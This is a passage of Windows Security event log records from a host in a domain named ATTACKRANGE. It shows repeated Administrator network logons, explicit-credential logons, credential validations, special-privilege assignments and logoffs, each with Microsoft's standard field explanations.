			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245577
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE43DE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245576
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245575
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245574
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE208E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245573
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB9351

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245572
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB83BE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245607
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE7E52

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245606
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE7E52
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245605
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245604
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245603
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE6E49

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245602
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE6E49
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245601
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245600
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245635
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEA162

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245634
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xEA162
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245633
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245632
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245631
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE9D4C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245630
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE9D4C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245629
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245628
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245627
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245626
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE9734

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245625
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE9734
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245624
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245623
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245622
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE90A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245621
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE45B9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245620
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE4E5F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245619
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE90A3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:38:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245618
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xE90A3
	Linked Logon ID:		0x0
